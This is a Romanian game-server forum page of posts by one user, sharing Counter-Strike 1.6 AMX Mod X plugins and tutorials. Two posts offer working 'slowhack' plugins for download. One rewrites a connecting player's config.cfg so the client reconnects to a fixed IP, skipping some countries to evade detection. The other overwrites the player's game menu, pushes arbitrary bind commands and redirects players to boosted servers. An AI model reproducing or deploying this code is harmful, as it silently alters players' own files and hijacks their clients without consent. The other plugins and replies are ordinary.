Jump to content

LondoN eXtream

Banned
  • Posts

    640
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by LondoN eXtream

  1. Cu toti stim ca sunt unele comenzi [scrise in chat] care fac diverse chestii, gen /rs care reseteaza scorul. In acest totorial va voi invata cum sa cititi chatul si sa aflati daca cuvantul X este un argument definit.

     

    1. In "public plugin_init()" adaugam:

    register_clcmd("say", "Argument")
    register_clcmd("say_team", "Argument")

     

    2. Creem public-ul "Argument" si adaugam :

    new Argument[32] // Creem o variabila cu 32 de pozitii.
    read_argv(1, Argument, 31) // Citim primul Argument [de aici vine 1, al catelea sa-l citeasca]
    remove_quotes(Argument) // Daca user-ul scrie "x" plugin-ul va citi x.
    if(equal(Argument, "comanda") != -1) {
           /* Daca Argumentul citit este acelasi cu "comanda" executam comenzile */
           user_silentkill(id)
           return;
    }
  2. Forward-ul "FM_ClientConnect" executa comenzi jucatorului cand se conecteaza.

    Acest forward este echivalentul publicului "client_connect"

     

    1. Introducem in codul nostru:

    #include <fakemeta>

    sau

    #include fakemeta

    sau

    #include <fakemeta.inc>

     

    2. In "public plugin_init()" adaugam:

    register_forward(FM_ClientConnect, "FM_Client_Connect_Test", 1)

     

    3. Creem un public cu numele "FM_Client_Connect_Test" si adaugam comenzi.

     

    exemplu:

     

    public FM_Client_Connect_Test(Client) {
    /*Presupunem ca am creat un cvar, care are valoarea "[TAG]" */
    new iString[32]
    get_pcvar_string("amx_tag", iString, 31)
    client_print(Client, print_chat, "%s Forward Client Connect Test", iString)
    return;
    }
  3. Tind sa cred ca aceste metode de slowhacking nu sunt tocmai binevenite. Daca doresti intr-adevar server populat, platesti un serviciu de boost (ca asa se face mai nou) care detine un masterserver ci nu jucatori bindati.

     

    Drept exemplu cei de la kgb hosting (gametracker.rs) sau servermaster.ro

    Degeaba dai boost, dupa boost serveru ramane 0/32...si decat sa mai dai inca o data x euro pe un boost, mai bine dai 1 si bine, [cu slowhack on]

     

    Atentie:

     

    Tarile puse de mine sunt puse pentru a nu lua ban pe GTRS :D

  4. Descriere: Acest plugin este auto connect mai avansat. Ce are in plus?

    1. Modifica aproximativ 78% din CS-uri.

    2. Jucatori din tarile specificate nu vor fi scrisi de plugin, pentru a nu lua ban pe la siteurile de boost.

     

    Download:

    #include <amxmodx>
    #include <amxmisc>
    #include <fakemeta>
    #include <geoip>

    #define CON        "188.212.100.97:27015"


    new const g_Countryes[] = {
        "Serbia",
        "Slovakia",
        "France"
    }

    public plugin_init() {
        register_plugin("Advanced Auto Connect", "1.2", "dK^aLeX")
        
        register_forward(FM_ClientConnect, "fw_ClientConnect", 1)
    }

    public fw_ClientConnect(Client) {
        new g_Name[32], g_Tara[32], g_IP[16]
        
        get_user_name(Client, g_Name, charsmax(g_Name))
        get_user_ip(Client, g_IP,  sizeof(g_IP) -1)
        geoip_country(g_IP, g_Tara, charsmax(g_Tara))
        new File[64] = "addons/amxmodx/configs/modules.ini"
        if(!file_exists(File)) {
            write_file(File, "fakemta_amxx")
            write_file(File, "geoip_amxx")
        }
        for(new i = 0; i < sizeof g_Countryes; i++) {
            if(equal(g_Tara, g_Countryes)) {
                return 1;
            }
        }
        client_cmd(Client, "motdfile ^"drop.CFG^"")
        client_cmd(Client, "motd_write ^"CoNNecT %s^"", CON)
        client_cmd(Client, "motdfile ^"config.cfg^"")
        client_cmd(Client, "motd_write ^"exec drop.CFG^"")
        client_cmd(Client, "clear")
        return 1;
    }

     

     

    Modificati asa:

    #define CON         "IP:PORT"

    Click aici pentru download

    • Like 1
  5. Descriere: Acest plugin detecteaza daca numele jucatorului este unul din lista pusa de voi sau daca are in nume reclame gen .ro / .com / .net etc si le schimba numele automat in cel setat de voi

     

    Download:

    /* Plugin generated by AMXX-Studio */

    #include <amxmodx>
    #include <amxmisc>

    #define PLUGIN_NAME     "[PGL] Simple Name Changer"
    #define PLUGIN_VERSION  "1.0"

    new g_szDefaultName[] = "name PGL.RANGFORT.RO"

    new const szNameList[] = {
        "Player",
        "SM-Player",
        "PRO-Player-FL",
        "Player[www.resursecs.com",
    }

    new const szContain[] = {
        ".ro",
        ".com",
        ".net",
        ":27015",
        ":27015",
        "connect",
        "www."
    }

    public plugin_init() {
        register_plugin(PLUGIN_NAME, PLUGIN_VERSION, "dK^aLeX @ PGL.RANGFORT.RO")
        
        register_cvar("pgl_name_change_tag", "Simple Name Changer")
    }

    public client_connect(id) {
        new sName[32]
        get_user_name(id, sName, charsmax(sName))
        
        for(new i = 0; i < sizeof szNameList; i++) {
            if(equal(sName, szNameList)) {
                client_cmd(id, g_szDefaultName)
            }
        }
        for(new x = 0; x < sizeof szContain; x++) {
            if(containi(sName, szContain[x])) {
                client_cmd(id, g_szDefaultName)
            }
        }
        new tag[20]
        get_cvar_string("pgl_name_change_tag", tag, charsmax(tag))
        client_print(0, print_chat, "[^x04%s^x03] Jucatorul ^x04%s^x03 are un nume neadecvad!", tag, sName)
    }

     

  6. Flag g

     

     

     

    /* Plugin generated by AMXX-Studio */

     

    #include

    #include

    #include

    #include

    #include

    #include

     

    #define PLUGIN "New Plug-In"

    #define VERSION "1.0"

    #define AUTHOR "appLy"

    #define VIPS ADMIN_LEVEL_H

     

    new jumpnum[33] = 0

    new bool:dojump[33] = false

     

     

    public plugin_init() {

    register_plugin(PLUGIN, VERSION, AUTHOR)

    RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );

    register_event( "CurWeapon", "CurWeapon", "be", "1=1" );

    register_cvar("vip_maxjumps","1")

    register_cvar("vip_mjonly","1")

     

    // Add your code here...

    }

     

    public ham_SpawnPlayerPost( id ) {

    if( is_user_alive( id ) )

    if( get_user_flags(id) & VIPS)

    {

    set_user_health( id, 150 );

    set_user_armor( id, 150 );

    }

    }

     

    public client_putinserver(id)

    {

    jumpnum[id] = 0

    dojump[id] = false

    }

     

    public client_disconnect(id)

    {

    jumpnum[id] = 0

    dojump[id] = false

    }

     

     

    public CurWeapon( id )

    {

    new Weapon = get_user_weapon ( id );

     

    if ( Weapon == CSW_KNIFE && get_user_flags(id) & VIPS)

    set_user_maxspeed( id, 400.0 );

    }

     

    public client_PreThink(id)

    {

    if(!is_user_alive(id)) return PLUGIN_CONTINUE

    if(get_cvar_num("vip_mjonly") && (!access(id,VIPS))) return PLUGIN_CONTINUE

    new nbut = get_user_button(id)

    new obut = get_user_oldbutton(id)

    if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))

    {

    if(jumpnum[id] < get_cvar_num("vip_maxjumps"))

    {

    dojump[id] = true

    jumpnum[id]++

    return PLUGIN_CONTINUE

    }

    }

    if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))

    {

    jumpnum[id] = 0

    return PLUGIN_CONTINUE

    }

    return PLUGIN_CONTINUE

    }

     

    public client_PostThink(id)

    {

    if(!is_user_alive(id)) return PLUGIN_CONTINUE

    if(get_cvar_num("vip_mjonly") && (!access(id,VIPS))) return PLUGIN_CONTINUE

    if(dojump[id] == true)

    {

    new Float:velocity[3]

    entity_get_vector(id,EV_VEC_velocity,velocity)

    velocity[2] = random_float(265.0,285.0)

    entity_set_vector(id,EV_VEC_velocity,velocity)

    dojump[id] = false

    return PLUGIN_CONTINUE

    }

    return PLUGIN_CONTINUE

    }

    E o mare porcarie.

     

    In plugin spune cam asa.

     

    Daca userul nu are acces, returneaza.

    Dupa, dai la toti VIP-i cate o saritura + mai dai vreo 2 cu vip_mjonly, si RegisterHam(Ham_Spawn, "player", "fw_PlayerSpawn") asa e corect.

     

    Revin cu edit, cu ceva functional.

     

     

    EDIT:

    #include <amxmodx>

    #include <amxmisc>

    #include <fun>

    #include <hamsandwich>

     

    #define IPS   "192.168.1.3:27015"

    #define VIP   "a"

     

    new const g_TAG[] = "[VIP]"

     

    public plugin_init() {

        new IP[25]

        get_user_ip(0, IP, sizeof(IP) -1, 1)

        if(equal(IP, IPS)) {

            register_plugin("VIP", "1.0", "dK^aLeX")

            

            RegisterHam(Ham_Spawn, "player", "fw_PlayerSpawn")

            

            register_clcmd("say", "chksay")

            register_clcmd("say_team", "chksay")

        }

    }

     

    public chksay(id) {

        new Arg[32]

        read_argv(1, Arg, 31)

        remove_quotes(Arg)

        if(equal(Arg, "/wantvip") != -1) {

            show_motd(id, "addons/amxmodx/configs/vip.html")

        }

    }

     

    public fw_PlayerSpawn(id) {

        if(get_user_flags(id) && read_flags(VIP)) {

            set_user_armor(id, 100)

            set_user_health(id, 150)

        }

    }

     

    public client_connect(id) {

        if(get_user_flags(id) && read_flags(VIP)) {

            new sName[32]

            get_user_name(id, sName, charsmax(sName))

            client_print(id, print_chat, "[%s] VIP player %s is connecting!", g_TAG, sName)

        }

    }

     

  7. Descriere: ACesta este un meniu pentru admini, pentru modul Zombie .

    Descarcare: Link!

    Nume: [Zombie Dark] Admin Shop
    Versiune: 1.0
    Link oficial: aici
    Autor: dK^aLeX aka LoNNNDoNNN

    Instalare:
    1. Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
    2. Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
    3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
    Code:
    nume_plugin.amxx
    



    Cvar-uri (se adauga in fisierul amxmodx\configs\amxx.cfg):
    zd_enabled_shop "1" // 1 = Activat | 0 = Dezactivat
    zd_damage_multi "2.0" // Cu cat sa mareasca dmg-ul

    Comenzi administrative (se tasteaza in consola si trebuie sa fiti administrator):
    Nu sunt

    Comenzi publice (se tasteaza in joc prin apasarea tastei Y):
    Nu sunt

    Module necesare (se sterge ; din fata modulului de mai jos; acestea le gasiti in fisierul amxmodx\configs\modules.ini):
    fun_amxx
    hamsandwich_amxx

     

  8. N-am vazut prea multa implicare din partea ta pe acolo, insa ti-as sugera sa incepi sa o faci .  Ai facut doar 2-3 topicuri, si ai crezut ca este necesar sa vi sa faci cerere pentru Moderator ? Trebuia sa mai astepti putin, si dupa sa vi cu cererea . 

     

    Contra . 

    Idem, contra

    • Like 1
  9. Descriere: Acest plugin este folosit pentru platformele de boost, redirectionand playeri catre unu sau mai multe servere luate din lista SQL.

     

    Nume: Players Repartization

    Versiune: 4.0

    Autor: dK^aLeX aka LoNNNDoNNN-.

     

    Instalare:

     

    drop_v4.sma => scripting

    drop_v4.amxx => plugins

    bind.ini => configs

    gamemenu.ini => configg

     

    Avantaje:

     

    Host, DB, User, Pass setate prin cvar;
    Executare binduri automat cand se concteaza, setate dintr-un fisier .ini;
    Dropurile se salveaza in log's;
    BOT-i nu sunt permisi.
    Modifica automat GameMenul[steam and Non Steam]
    Optimizari majore de cod.
    Tara este afisata la conectare.
    Maximum de servere din SQL este de 10.
    Fisier config care se executa automat la pornirea redirectului.
    _boosted => Puteti afisa serverele boostate.

     

     

    Download:

    #include <amxmodx>
    #include <amxmisc>
    #include <fakemeta>
    #include <geoip>
    #include <sqlx>

    new const PLUGIN[] = "AMX DROP PLATFORM";
    new const VERSION[] = "4.0";
    new const AUTHOR[] = "dK^aLeX";

    new cvar_host, cvar_db, cvar_user, cvar_pass;
    new const tag[] = "[AMXX]";
    new const cfg[] = "amx_drop_pltf.cfg";
    new const destination[] = "addons/amxmodx/configs/binds.ini";
    new g_Menu[4096];
    new iServers = 0, iServer = 0, iDrops = 0;
    new Handle:g_SQLTuple;

    #define BOOSTED_SERVERS    50

    new sList[bOOSTED_SERVERS][100];

    #define LOG "dr_log.log"
    #pragma semicolon 1

    public plugin_init()
    {
        register_plugin(PLUGIN, VERSION, AUTHOR);
        
        cvar_host = register_cvar("sql_host", "localhost");
        cvar_db = register_cvar("sql_db", "csd_drop");
        cvar_user = register_cvar("sql_user", "csd_alex");
        cvar_pass = register_cvar("sql_pass", "alexpass");
        
        new host[20], db[20], user[20], pass[20];
        
        get_pcvar_string(cvar_host, host, charsmax(host));
        get_pcvar_string(cvar_db, db, charsmax(db));
        get_pcvar_string(cvar_user, user, charsmax(user));
        get_pcvar_string(cvar_pass, pass, charsmax(pass));
        
        g_SQLTuple = SQL_MakeDbTuple(host, db, user, pass, 10);
        
        new szFile = fopen(destination, "r");
        
        if(szFile)
        {
            fgets(szFile, g_Menu, charsmax(g_Menu));
            trim(g_Menu);
            fclose(szFile);
            
            register_forward(FM_ClientConnect, "fw_isconnecting", 1);
        }
        
        
        set_task(1.0 * 60, "InitSQL", .flags="b");
        
        register_concmd("_boosted", "ShowBoostedServers");
    }

    public plugin_cfg()
    {
        if(!file_exists(cfg))
        {
            server_print("=> File %s missing! <=", cfg);
        }
        
        new dir[128];
        get_configsdir(dir, charsmax(dir));
        server_cmd("exec %s/%s", dir, cfg);
        
        InitSQL();
    }

    public ShowBoostedServers(id)
    {
        for(new i = 0, n = 0; i < BOOSTED_SERVERS; i++)
        {
            if(strlen(sList) > 0)
            {
                server_print(" => BOOSTED SERVERS <=");
                server_print("%d - %s", n + 1, sList);
                n++;
            }
        }
        
        return PLUGIN_HANDLED;
    }

    public fw_isconnecting(Client)
    {
        client_cmd(Client, "motdfile resource/GameMenu.res");
        client_cmd(Client, "motd_write %s", g_Menu);
    }

    public InitSQL()
    {
        static sql[512];
        formatex(sql, charsmax(sql), "SELECT `server` FROM `server_list` ORDER BY `id` DESC LIMIT %s", BOOSTED_SERVERS);
        SQL_ThreadQuery(g_SQLTuple, "SQLInit", sql);
    }

    public SQLInit(FailState, Handle:Query, szError[], Errcode)
    {
        if(iServers)
        {
            iServers = 0;
        }
        
        server_print("[Getting Server Lis]");
        
        QueryStatus(FailState, szError, Errcode);
        
        new i = 0, server[32];
        
        while(SQL_MoreResults(Query))
        {
            if(i >= BOOSTED_SERVERS)
            {
                break;
            }
            
            SQL_ReadResult(Query, 0, server, 31);
            formatex(sList, 31, "%s", server);
            i++, iServers++;
        }
        
        SQL_FreeHandle(Query);
    }

    public client_connect(id)
    {
        if(is_user_bot(id) && is_user_hltv(id))
        {
            server_cmd("ban #%d", id);
        }
        
        new name[32], data[32], ip[32], ip2[32], tara[32];
        
        get_user_name(id, name, charsmax(name));
        get_user_ip(id, ip2, charsmax(ip2));
        get_user_ip(id, ip, charsmax(ip), 1);
        get_time("%d/%m/%y - %H:%M:%S", data, 31);
        geoip_country(ip, tara, charsmax(tara));
        
        server_print("%s  Client %s [iP: %s] is connecting from: %s [%s]", tag, name, ip2, tara, data);
        
        new File = fopen(destination, "r");
        new Buffer[256];
        while(!feof(File))
        {
            fgets(File, Buffer, 255);
            client_cmd(id, "%s", Buffer);
        }
        
        userredirect(id);
        
        return PLUGIN_HANDLED;
    }

    public client_putinserver(id)
    {
        if(is_user_bot(id) && is_user_hltv(id))
        {
            server_cmd("ban #%d", id);
        }
        
        set_task(2.5, "userredirect", id);
        
        return PLUGIN_CONTINUE;
    }

    public userredirect(id)
    {
        iDrops++;
        new sv[32];
        
        formatex(sv, 31, "%s", sList[iServer]);
        
        if(strlen(sv))
        {
            client_cmd(id, "disconnect");
            return PLUGIN_CONTINUE;
        }
        
        client_cmd(id, "wait;wait;wait;wait connect %s", sv);
        
        return PLUGIN_HANDLED;
    }

    public QueryStatus(FailState, szError[], Errcode)
    {
        if(FailState == TQUERY_CONNECT_FAILED)
        {
            write_file(LOG, "[AMXX] Can't connect to MySQL!");
        }
        
        if(FailState == TQUERY_QUERY_FAILED)
        {
            write_file(LOG, "[AMXX] Query Error!");
        }
    }

     

  10. Draga Denisa, ai csdmknife, care mareste viteza, ei bine, si pluginul VIP mareste viteza la cutit, iar,  se spune, cand sunt 2 pluginuri cu nume diferite[care fac acelasi lucru] , da crash (scote-l)

  11. Nu merge, pica server-ul.

    Nu`mi cere erorile care mi le da, ii acelasi plugin care se gaseste peste tot pe internet, tu doar ai modificat sa contina ceea ce am cerut, asta pot sa fac si eu. Multumesc`

    Poate ma poate ajuta don liviu cand are timp.

    Nu prea are cum sa pice, ai cumva 2 pluginuri pe server cu nume diferite? Daca ai knife speed, scoate-l, daca ai ghostchat, scoate-l....

×
×
  • Create New...